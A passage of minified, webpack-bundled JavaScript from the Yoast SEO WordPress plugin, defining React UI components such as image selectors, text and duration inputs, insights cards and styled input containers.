(0,a.__)("(Opens in a new browser tab)","wordpress-seo")));u.propTypes=s,u.defaultProps=i,t.default=u},86631:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"HelpIcon",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"helpIconDefaultProps",{enumerable:!0,get:function(){return o.helpIconDefaultProps}}),Object.defineProperty(t,"helpIconProps",{enumerable:!0,get:function(){return o.helpIconProps}}),r(14640);var o=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=n(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var l in e)if("default"!==l&&Object.prototype.hasOwnProperty.call(e,l)){var s=a?Object.getOwnPropertyDescriptor(e,l):null;s&&(s.get||s.set)?Object.defineProperty(o,l,s):o[l]=e[l]}return o.default=e,r&&r.set(e,o),o}(r(14764));function n(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(n=function(e){return e?r:t})(e)}},42345:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=u(r(99196)),n=r(65736),a=u(r(67967)),l=u(r(85890)),s=u(r(84084)),i=u(r(57990));function u(e){return e&&e.__esModule?e:{default:e}}function d(e){const t=!1===e.usingFallback&&""!==e.imageUrl,r=e.imageUrl||e.defaultImageUrl||"",l=e.warnings.length>0&&t;let u=l?"yoast-image-select__preview yoast-image-select__preview-has-warnings":"yoast-image-select__preview";""===r&&(u="yoast-image-select__preview yoast-image-select__preview--no-preview");const d={imageSelected:t,onClick:e.onClick,onRemoveImageClick:e.onRemoveImageClick,selectImageButtonId:e.selectImageButtonId,replaceImageButtonId:e.replaceImageButtonId,removeImageButtonId:e.removeImageButtonId,isDisabled:e.isDisabled},c=()=>o.default.createElement("span",{className:"screen-reader-text"},t?(0,n.__)("Replace image","wordpress-seo"):(0,n.__)("Select image","wordpress-seo"));return o.default.createElement("div",{className:"yoast-image-select",onMouseEnter:e.onMouseEnter,onMouseLeave:e.onMouseLeave},o.default.createElement(s.default,{label:e.label,hasNewBadge:e.hasNewBadge,hasPremiumBadge:e.hasPremiumBadge},e.hasPreview&&o.default.createElement("button",{className:u,onClick:e.onClick,type:"button",disabled:e.isDisabled},""!==r&&o.default.createElement("img",{src:r,alt:e.imageAltText,className:"yoast-image-select__preview--image"}),o.default.createElement(c,null)),l&&o.default.createElement("div",{role:"alert"},e.warnings.map(((e,t)=>o.default.createElement(i.default,{key:`warning${t}`,type:"warning"},e)))),o.default.createElement(a.default,d)))}t.default=d,d.propTypes={defaultImageUrl:l.default.string,imageUrl:l.default.string,imageAltText:l.default.string,hasPreview:l.default.bool.isRequired,label:l.default.string.isRequired,onClick:l.default.func,onMouseEnter:l.default.func,onMouseLeave:l.default.func,onRemoveImageClick:l.default.func,selectImageButtonId:l.default.string,replaceImageButtonId:l.default.string,removeImageButtonId:l.default.string,warnings:l.default.arrayOf(l.default.string),hasNewBadge:l.default.bool,isDisabled:l.default.bool,usingFallback:l.default.bool,hasPremiumBadge:l.default.bool},d.defaultProps={defaultImageUrl:"",imageUrl:"",imageAltText:"",onClick:()=>{},onMouseEnter:()=>{},onMouseLeave:()=>{},onRemoveImageClick:()=>{},selectImageButtonId:"",replaceImageButtonId:"",removeImageButtonId:"",warnings:[],hasNewBadge:!1,isDisabled:!1,usingFallback:!1,hasPremiumBadge:!1}},67967:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o,n=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=i(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(99196)),a=r(76149),l=r(65736),s=(o=r(85890))&&o.__esModule?o:{default:o};function i(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(i=function(e){return e?r:t})(e)}const u=e=>{const{imageSelected:t,onClick:r,onRemoveImageClick:o,selectImageButtonId:s,replaceImageButtonId:i,removeImageButtonId:u,isDisabled:d}=e,c=(0,n.useCallback)((e=>{e.target.previousElementSibling.focus(),o()}),[o]);return n.default.createElement("div",{className:"yoast-image-select-buttons"},n.default.createElement(a.NewButton,{variant:"secondary",id:t?i:s,onClick:r,disabled:d},t?(0,l.__)("Replace image","wordpress-seo"):(0,l.__)("Select image","wordpress-seo")),t&&n.default.createElement(a.NewButton,{variant:"remove",id:u,onClick:c,disabled:d},(0,l.__)("Remove image","wordpress-seo")))};t.default=u,u.propTypes={imageSelected:s.default.bool,onClick:s.default.func,onRemoveImageClick:s.default.func,selectImageButtonId:s.default.string,replaceImageButtonId:s.default.string,removeImageButtonId:s.default.string,isDisabled:s.default.bool},u.defaultProps={imageSelected:!1,onClick:()=>{},onRemoveImageClick:()=>{},selectImageButtonId:"",replaceImageButtonId:"",removeImageButtonId:"",isDisabled:!1}},38951:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"ImageSelect",{enumerable:!0,get:function(){return o.default}}),Object.defineProperty(t,"ImageSelectButtons",{enumerable:!0,get:function(){return n.default}}),r(55022);var o=a(r(42345)),n=a(r(67967));function a(e){return e&&e.__esModule?e:{default:e}}},95235:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var o={StyledSection:!0,StyledHeading:!0,StyledSectionBase:!0,LinkButton:!0,Button:!0,BaseButton:!0,addHoverStyle:!0,addActiveStyle:!0,addFocusStyle:!0,addBaseStyle:!0,addButtonStyles:!0,Collapsible:!0,CollapsibleStateless:!0,StyledIconsButton:!0,StyledContainer:!0,StyledContainerTopLevel:!0,wrapInHeading:!0,SparklesIcon:!0,IconAIFixesButton:!0,Alert:!0,ArticleList:!0,Card:!0,FullHeightCard:!0,CardBanner:!0,CourseDetails:!0,IconLabeledButton:!0,IconButton:!0,IconsButton:!0,ErrorBoundary:!0,Heading:!0,HelpText:!0,Icon:!0,AIFixesButton:!0,IconButtonBase:!0,IconButtonToggle:!0,IconCTAEditButton:!0,IFrame:!0,Input:!0,WordOccurrenceInsights:!0,KeywordSuggestions:!0,Label:!0,SimulatedLabel:!0,LanguageNotice:!0,languageNoticePropType:!0,Loader:!0,MultiStepProgress:!0,Notification:!0,Paper:!0,ProgressBar:!0,Section:!0,SectionTitle:!0,ScoreAssessments:!0,StackedProgressBar:!0,SvgIcon:!0,icons:!0,SynonymsInput:!0,Textarea:!0,Textfield:!0,Toggle:!0,UpsellButton:!0,UpsellLinkButton:!0,YoastButton:!0,InputField:!0,YoastLinkButton:!0,Logo:!0,Modal:!0,YoastSeoIcon:!0,Tabs:!0,Warning:!0,YouTubeVideo:!0,WordList:!0,WordOccurrences:!0,VariableEditorInputContainer:!0,ListTable:!0,ZebrafiedListTable:!0,Row:!0,ScreenReaderText:!0,ScreenReaderShortcut:!0};Object.defineProperty(t,"AIFixesButton",{enumerable:!0,get:function(){return L.default}}),Object.defineProperty(t,"Alert",{enumerable:!0,get:function(){return k.default}}),Object.defineProperty(t,"ArticleList",{enumerable:!0,get:function(){return E.default}}),Object.defineProperty(t,"BaseButton",{enumerable:!0,get:function(){return C.BaseButton}}),Object.defineProperty(t,"Button",{enumerable:!0,get:function(){return C.default}}),Object.defineProperty(t,"Card",{enumerable:!0,get:function(){return j.default}}),Object.defineProperty(t,"CardBanner",{enumerable:!0,get:function(){return S.default}}),Object.defineProperty(t,"Collapsible",{enumerable:!0,get:function(){return O.default}}),Object.defineProperty(t,"CollapsibleStateless",{enumerable:!0,get:function(){return O.CollapsibleStateless}}),Object.defineProperty(t,"CourseDetails",{enumerable:!0,get:function(){return M.default}}),Object.defineProperty(t,"ErrorBoundary",{enumerable:!0,get:function(){return q.default}}),Object.defineProperty(t,"FullHeightCard",{enumerable:!0,get:function(){return j.FullHeightCard}}),Object.defineProperty(t,"Heading",{enumerable:!0,get:function(){return N.default}}),Object.defineProperty(t,"HelpText",{enumerable:!0,get:function(){return I.default}}),Object.defineProperty(t,"IFrame",{enumerable:!0,get:function(){return A.default}}),Object.defineProperty(t,"Icon",{enumerable:!0,get:function(){return R.default}}),Object.defineProperty(t,"IconAIFixesButton",{enumerable:!0,get:function(){return P.default}}),Object.defineProperty(t,"IconButton",{enumerable:!0,get:function(){return $.default}}),Object.defineProperty(t,"IconButtonBase",{enumerable:!0,get:function(){return z.default}}),Object.defineProperty(t,"IconButtonToggle",{enumerable:!0,get:function(){return F.default}}),Object.defineProperty(t,"IconCTAEditButton",{enumerable:!0,get:function(){return D.default}}),Object.defineProperty(t,"IconLabeledButton",{enumerable:!0,get:function(){return T.default}}),Object.defineProperty(t,"IconsButton",{enumerable:!0,get:function(){return B.default}}),Object.defineProperty(t,"Input",{enumerable:!0,get:function(){return W.default}}),Object.defineProperty(t,"InputField",{enumerable:!0,get:function(){return de.InputField}}),Object.defineProperty(t,"KeywordSuggestions",{enumerable:!0,get:function(){return H.default}}),Object.defineProperty(t,"Label",{enumerable:!0,get:function(){return U.default}}),Object.defineProperty(t,"LanguageNotice",{enumerable:!0,get:function(){return V.default}}),Object.defineProperty(t,"LinkButton",{enumerable:!0,get:function(){return a.LinkButton}}),Object.defineProperty(t,"ListTable",{enumerable:!0,get:function(){return xe.ListTable}}),Object.defineProperty(t,"Loader",{enumerable:!0,get:function(){return G.default}}),Object.defineProperty(t,"Logo",{enumerable:!0,get:function(){return fe.default}}),Object.defineProperty(t,"Modal",{enumerable:!0,get:function(){return pe.default}}),Object.defineProperty(t,"MultiStepProgress",{enumerable:!0,get:function(){return Y.default}}),Object.defineProperty(t,"Notification",{enumerable:!0,get:function(){return K.default}}),Object.defineProperty(t,"Paper",{enumerable:!0,get:function(){return Z.default}}),Object.defineProperty(t,"ProgressBar",{enumerable:!0,get:function(){return X.default}}),Object.defineProperty(t,"Row",{enumerable:!0,get:function(){return Ce.Row}}),Object.defineProperty(t,"ScoreAssessments",{enumerable:!0,get:function(){return ee.default}}),Object.defineProperty(t,"ScreenReaderShortcut",{enumerable:!0,get:function(){return we.default}}),Object.defineProperty(t,"ScreenReaderText",{enumerable:!0,get:function(){return Oe.default}}),Object.defineProperty(t,"Section",{enumerable:!0,get:function(){return J.default}}),Object.defineProperty(t,"SectionTitle",{enumerable:!0,get:function(){return Q.SectionTitle}}),Object.defineProperty(t,"SimulatedLabel",{enumerable:!0,get:function(){return U.SimulatedLabel}}),Object.defineProperty(t,"SparklesIcon",{enumerable:!0,get:function(){return w.SparklesIcon}}),Object.defineProperty(t,"StackedProgressBar",{enumerable:!0,get:function(){return te.default}}),Object.defineProperty(t,"StyledContainer",{enumerable:!0,get:function(){return O.StyledContainer}}),Object.defineProperty(t,"StyledContainerTopLevel",{enumerable:!0,get:function(){return O.StyledContainerTopLevel}}),Object.defineProperty(t,"StyledHeading",{enumerable:!0,get:function(){return n.StyledHeading}}),Object.defineProperty(t,"StyledIconsButton",{enumerable:!0,get:function(){return O.StyledIconsButton}}),Object.defineProperty(t,"StyledSection",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"StyledSectionBase",{enumerable:!0,get:function(){return n.StyledSectionBase}}),Object.defineProperty(t,"SvgIcon",{enumerable:!0,get:function(){return re.default}}),Object.defineProperty(t,"SynonymsInput",{enumerable:!0,get:function(){return oe.default}}),Object.defineProperty(t,"Tabs",{enumerable:!0,get:function(){return be.default}}),Object.defineProperty(t,"Textarea",{enumerable:!0,get:function(){return ne.default}}),Object.defineProperty(t,"Textfield",{enumerable:!0,get:function(){return ae.default}}),Object.defineProperty(t,"Toggle",{enumerable:!0,get:function(){return le.default}}),Object.defineProperty(t,"UpsellButton",{enumerable:!0,get:function(){return se.UpsellButton}}),Object.defineProperty(t,"UpsellLinkButton",{enumerable:!0,get:function(){return ie.UpsellLinkButton}}),Object.defineProperty(t,"VariableEditorInputContainer",{enumerable:!0,get:function(){return _e.VariableEditorInputContainer}}),Object.defineProperty(t,"Warning",{enumerable:!0,get:function(){return ge.default}}),Object.defineProperty(t,"WordList",{enumerable:!0,get:function(){return ye.default}}),Object.defineProperty(t,"WordOccurrenceInsights",{enumerable:!0,get:function(){return H.default}}),Object.defineProperty(t,"WordOccurrences",{enumerable:!0,get:function(){return ve.default}}),Object.defineProperty(t,"YoastButton",{enumerable:!0,get:function(){return ue.YoastButton}}),Object.defineProperty(t,"YoastLinkButton",{enumerable:!0,get:function(){return ce.YoastLinkButton}}),Object.defineProperty(t,"YoastSeoIcon",{enumerable:!0,get:function(){return he.default}}),Object.defineProperty(t,"YouTubeVideo",{enumerable:!0,get:function(){return me.default}}),Object.defineProperty(t,"ZebrafiedListTable",{enumerable:!0,get:function(){return xe.ZebrafiedListTable}}),Object.defineProperty(t,"addActiveStyle",{enumerable:!0,get:function(){return C.addActiveStyle}}),Object.defineProperty(t,"addBaseStyle",{enumerable:!0,get:function(){return C.addBaseStyle}}),Object.defineProperty(t,"addButtonStyles",{enumerable:!0,get:function(){return C.addButtonStyles}}),Object.defineProperty(t,"addFocusStyle",{enumerable:!0,get:function(){return C.addFocusStyle}}),Object.defineProperty(t,"addHoverStyle",{enumerable:!0,get:function(){return C.addHoverStyle}}),Object.defineProperty(t,"icons",{enumerable:!0,get:function(){return re.icons}}),Object.defineProperty(t,"languageNoticePropType",{enumerable:!0,get:function(){return V.languageNoticePropType}}),Object.defineProperty(t,"wrapInHeading",{enumerable:!0,get:function(){return O.wrapInHeading}}),r(75377),r(37704);var n=Ee(r(78538)),a=r(16785),l=r(76149);Object.keys(l).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===l[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return l[e]}}))}));var s=r(16236);Object.keys(s).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===s[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return s[e]}}))}));var i=r(35957);Object.keys(i).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===i[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return i[e]}}))}));var u=r(36925);Object.keys(u).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===u[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return u[e]}}))}));var d=r(38951);Object.keys(d).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===d[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return d[e]}}))}));var c=r(24420);Object.keys(c).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===c[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return c[e]}}))}));var f=r(54297);Object.keys(f).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===f[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return f[e]}}))}));var p=r(46465);Object.keys(p).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===p[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return p[e]}}))}));var h=r(55138);Object.keys(h).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===h[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return h[e]}}))}));var b=r(5185);Object.keys(b).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===b[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return b[e]}}))}));var g=r(86631);Object.keys(g).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===g[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return g[e]}}))}));var m=r(43781);Object.keys(m).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===m[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return m[e]}}))}));var y=r(8850);Object.keys(y).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===y[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return y[e]}}))}));var v=r(51495);Object.keys(v).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===v[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return v[e]}}))}));var _=r(40815);Object.keys(_).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===_[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return _[e]}}))}));var x=r(31233);Object.keys(x).forEach((function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(o,e)||e in t&&t[e]===x[e]||Object.defineProperty(t,e,{enumerable:!0,get:function(){return x[e]}}))}));var C=Ee(r(46362)),O=Ee(r(57272)),w=r(27177),P=Pe(r(30856)),k=Pe(r(57990)),E=Pe(r(47529)),j=Ee(r(79743)),S=Pe(r(97230)),M=Pe(r(69424)),T=Pe(r(3234)),$=Pe(r(4532)),B=Pe(r(71875)),q=Pe(r(27938)),N=Pe(r(33014)),I=Pe(r(30812)),R=Pe(r(7992)),L=Pe(r(74102)),z=Pe(r(64213)),F=Pe(r(21529)),D=Pe(r(22027)),A=Pe(r(77844)),W=Pe(r(66763)),H=Pe(r(1993)),U=Ee(r(1453)),V=Ee(r(44722)),G=Pe(r(50933)),Y=Pe(r(64737)),K=Pe(r(18506)),Z=Pe(r(8272)),X=Pe(r(57186)),J=Pe(r(37553)),Q=r(91752),ee=Pe(r(5180)),te=Pe(r(49526)),re=Ee(r(78386)),oe=Pe(r(97485)),ne=Pe(r(22386)),ae=Pe(r(18547)),le=Pe(r(47816)),se=r(60813),ie=r(71732),ue=r(83908),de=r(23613),ce=r(78892),fe=Pe(r(73028)),pe=Pe(r(79610)),he=Pe(r(14085)),be=Pe(r(51316)),ge=Pe(r(1382)),me=Pe(r(72768)),ye=Pe(r(64385)),ve=Pe(r(31367)),_e=r(3199),xe=r(98872),Ce=r(87923),Oe=Pe(r(42479)),we=Pe(r(76916));function Pe(e){return e&&e.__esModule?e:{default:e}}function ke(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(ke=function(e){return e?r:t})(e)}function Ee(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=ke(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}},66763:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=a(r(99196)),n=a(r(85890));function a(e){return e&&e.__esModule?e:{default:e}}function l(){return l=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},l.apply(this,arguments)}class s extends o.default.Component{constructor(e){super(e),this.setReference=this.setReference.bind(this)}componentDidUpdate(){this.props.hasFocus&&this.ref.focus()}setReference(e){this.ref=e}render(){return o.default.createElement("input",l({ref:this.setReference,type:this.props.type,name:this.props.name,defaultValue:this.props.value,onChange:this.props.onChange,autoComplete:this.props.autoComplete,className:this.props.className},this.props.optionalAttributes))}}s.propTypes={name:n.default.string,type:n.default.oneOf(["button","checkbox","number","password","progress","radio","submit","text"]),value:n.default.any,onChange:n.default.func,optionalAttributes:n.default.object,hasFocus:n.default.bool,autoComplete:n.default.string,className:n.default.string},s.defaultProps={name:"input",type:"text",value:"",hasFocus:!1,className:"",onChange:null,optionalAttributes:{},autoComplete:null},t.default=s},3199:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.VariableEditorInputContainer=t.InputContainer=void 0;var o,n=(o=r(98487))&&o.__esModule?o:{default:o};t.VariableEditorInputContainer=n.default.div.attrs({})`
	flex: 0 1 100%;
	border: 1px solid ${e=>e.isActive?"#5b9dd9":"#ddd"};
	padding: 4px 5px;
	box-sizing: border-box;
	box-shadow: ${e=>e.isActive?"0 0 2px rgba(30,140,190,.8);":"inset 0 1px 2px rgba(0,0,0,.07)"};
	background-color: #fff;
	color: #32373c;
	outline: 0;
	transition: 50ms border-color ease-in-out;
	position: relative;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 14px;
	cursor: text;
`,t.InputContainer=n.default.div`
	display: flex;
	flex-direction: column;
	margin: 1em 0;
`},23613:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.InputField=void 0;var o,n=(o=r(98487))&&o.__esModule?o:{default:o},a=r(37188);t.InputField=n.default.input`
	&&& {
		padding: 0 8px;
		min-height: 34px;
		font-size: 1em;
		box-shadow: inset 0 1px 2px ${(0,a.rgba)(a.colors.$color_black,.07)};
		border: 1px solid ${a.colors.$color_input_border};
		border-radius: 0;

		&:focus {
			border-color: #5b9dd9;
			box-shadow: 0 0 2px ${(0,a.rgba)(a.colors.$color_snippet_focus,.8)};
		}
	}
`},82572:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.InputLabel=void 0;var o,n=(o=r(98487))&&o.__esModule?o:{default:o};t.InputLabel=n.default.label`
	font-size: 1em;
	font-weight: bold;
	margin-bottom: 0.5em;
	display: block;
`},91315:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=u(r(99196)),n=u(r(85890)),a=r(92819),l=r(65736);r(60526);var s=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=i(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=n?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(84084));function i(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(i=function(e){return e?r:t})(e)}function u(e){return e&&e.__esModule?e:{default:e}}function d(e){return{hours:Math.floor(e/3600),minutes:Math.floor(e%3600/60),seconds:e%3600%60}}class c extends o.default.Component{constructor(e){super(e),this.state={...d(e.duration)},this.onHoursChange=this.onHoursChange.bind(this),this.onMinutesChange=this.onMinutesChange.bind(this),this.onSecondsChange=this.onSecondsChange.bind(this)}formatValue(e,t=Number.MIN_VALUE,r=Number.MAX_VALUE){const o=parseInt(e.target.value,10)||0;return(0,a.clamp)(o,t,r)}onHoursChange(e){this.props.onChange(3600*this.formatValue(e,0)+60*this.state.minutes+this.state.seconds)}onMinutesChange(e){this.props.onChange(3600*this.state.hours+60*this.formatValue(e,0,59)+this.state.seconds)}onSecondsChange(e){this.props.onChange(3600*this.state.hours+60*this.state.minutes+this.formatValue(e,0,59))}static getDerivedStateFromProps(e,t){const r=d(e.duration);return(0,a.isEqual)(r,t)?null:{...r}}render(){const e=this.props,t=e.id;return o.default.createElement(s.default,e,o.default.createElement("div",{className:"duration-inputs__wrapper"},o.default.createElement("div",{className:"duration-inputs__input-wrapper"},o.default.createElement("label",{htmlFor:t+"-hours"},(0,l.__)("hours","wordpress-seo")),o.default.createElement("input",{id:t+"-hours",name:"hours",value:this.state.hours,type:"number",className:"yoast-field-group__inputfield duration-inputs__input","aria-describedby":e.hoursAriaDescribedBy,readOnly:e.readOnly,min:0,onChange:this.onHoursChange})),o.default.createElement("div",{className:"duration-inputs__input-wrapper"},o.default.createElement("label",{htmlFor:t+"-minutes"},(0,l.__)("minutes","wordpress-seo")),o.default.createElement("input",{id:t+"-minutes",name:"minutes",value:this.state.minutes,type:"number",className:"yoast-field-group__inputfield duration-inputs__input","aria-describedby":e.minutesAriaDescribedBy,readOnly:e.readOnly,min:0,max:59,onChange:this.onMinutesChange})),o.default.createElement("div",{className:"duration-inputs__input-wrapper"},o.default.createElement("label",{htmlFor:t+"-seconds"},(0,l.__)("seconds","wordpress-seo")),o.default.createElement("input",{id:t+"-seconds",name:"seconds",value:this.state.seconds,type:"number",className:"yoast-field-group__inputfield duration-inputs__input","aria-describedby":e.secondsAriaDescribedBy,readOnly:e.readOnly,min:0,max:59,onChange:this.onSecondsChange}))))}}c.propTypes={duration:n.default.number.isRequired,hoursAriaDescribedBy:n.default.string,minutesAriaDescribedBy:n.default.string,secondsAriaDescribedBy:n.default.string,id:n.default.string.isRequired,...s.FieldGroupProps},c.defaultProps={hoursAriaDescribedBy:"",minutesAriaDescribedBy:"",secondsAriaDescribedBy:"",...s.FieldGroupDefaultProps},t.default=c},70399:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.inputTypes=t.default=void 0;var o=s(r(99196)),n=s(r(85890)),a=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var r=l(t);if(r&&r.has(e))return r.get(e);var o={__proto__:null},n=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var s=n?Object.getOwnPropertyDescriptor(e,a):null;s&&(s.get||s.set)?Object.defineProperty(o,a,s):o[a]=e[a]}return o.default=e,r&&r.set(e,o),o}(r(84084));function l(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,r=new WeakMap;return(l=function(e){return e?r:t})(e)}function s(e){return e&&e.__esModule?e:{default:e}}r(60526);const i=t.inputTypes=["text","color","date","datetime-local","email","hidden","month","number","password","search","tel","time","url","week","range"],u=e=>{const t={...e};return e.id&&(t.htmlFor=e.id),o.default.createElement(a.default,t,o.default.createElement("input",{id:e.id,name:e.name,value:e.value,type:e.type,className:"yoast-field-group__inputfield","aria-describedby":e.ariaDescribedBy,placeholder:e.placeholder,readOnly:e.readOnly,min:e.min,max:e.max,step:e.step,onChange:(r=e.onChange,e=>{r(e.target.value)})}));var r};u.propTypes={id:n.default.string,name:n.default.string,value:n.default.string,type:n.default.oneOf(i),ariaDescribedBy:n.default.string,placeholder:n.default.string,readOnly:n.default.bool,min:n.default.number,max:n.default.number,step:n.default.number,onChange:n.default.func,...a.FieldGroupProps},u.defaultProps={id:"",name:"",value:"",ariaDescribedBy:"",readOnly:!1,type:"text",placeholder:void 0,min:void 0,max:void 0,step:void 0,onChange:void 0,...a.FieldGroupDefaultProps},t.default=u},24420:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"DurationInput",{enumerable:!0,get:function(){return n.default}}),Object.defineProperty(t,"TextInput",{enumerable:!0,get:function(){return o.default}}),r(60526);var o=a(r(70399)),n=a(r(91315));function a(e){return e&&e.__esModule?e:{default:e}}},77509:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=r(36925);function l(e){return e&&e.__esModule?e:{default:e}}class s extends o.default.Component{getInsightsCardContent(){return o.default.createElement("div",{className:"yoast-insights-card__content"},o.default.createElement("p",{className:"yoast-insights-card__score"},o.default.createElement("span",{className:"yoast-insights-card__amount"},this.props.amount),this.props.unit),this.props.description&&o.default.createElement("div",{className:"yoast-insights-card__description"},this.props.description))}render(){return o.default.createElement(a.FieldGroup,{label:this.props.title,linkTo:this.props.linkTo,linkText:this.props.linkText,wrapperClassName:"yoast-insights-card"},this.getInsightsCardContent())}}t.default=s,s.propTypes={title:n.default.string,amount:n.default.oneOfType([n.default.number,n.default.oneOf(["?"])]).isRequired,description:n.default.element,unit:n.default.string,linkTo:n.default.string,linkText:n.default.string},s.defaultProps={title:"",description:null,unit:"",linkTo:"",linkText:""}},54297:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"InsightsCard",{enumerable:!0,get:function(){return n.default}}),r(70418);var o,n=(o=r(77509))&&o.__esModule?o:{default:o}},70610:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var o=l(r(99196)),n=l(r(85890)),a=r(65736);function l(e){return e&&e.__esModule?e:{default:e}}const s=({inLabel:e})=>o.default.createElement("span",{className:e?"yoast-badge yoast-badge__in-label yoast-new-badge":"yoast-badge yoast-new-badge"},(0,a.__)("New","wordpress-seo"));s.propTypes={inLabel:n.default.bool},s.defaultProps={inLabel:!1},t.default=s},8850:(e,t,r)=>{"use 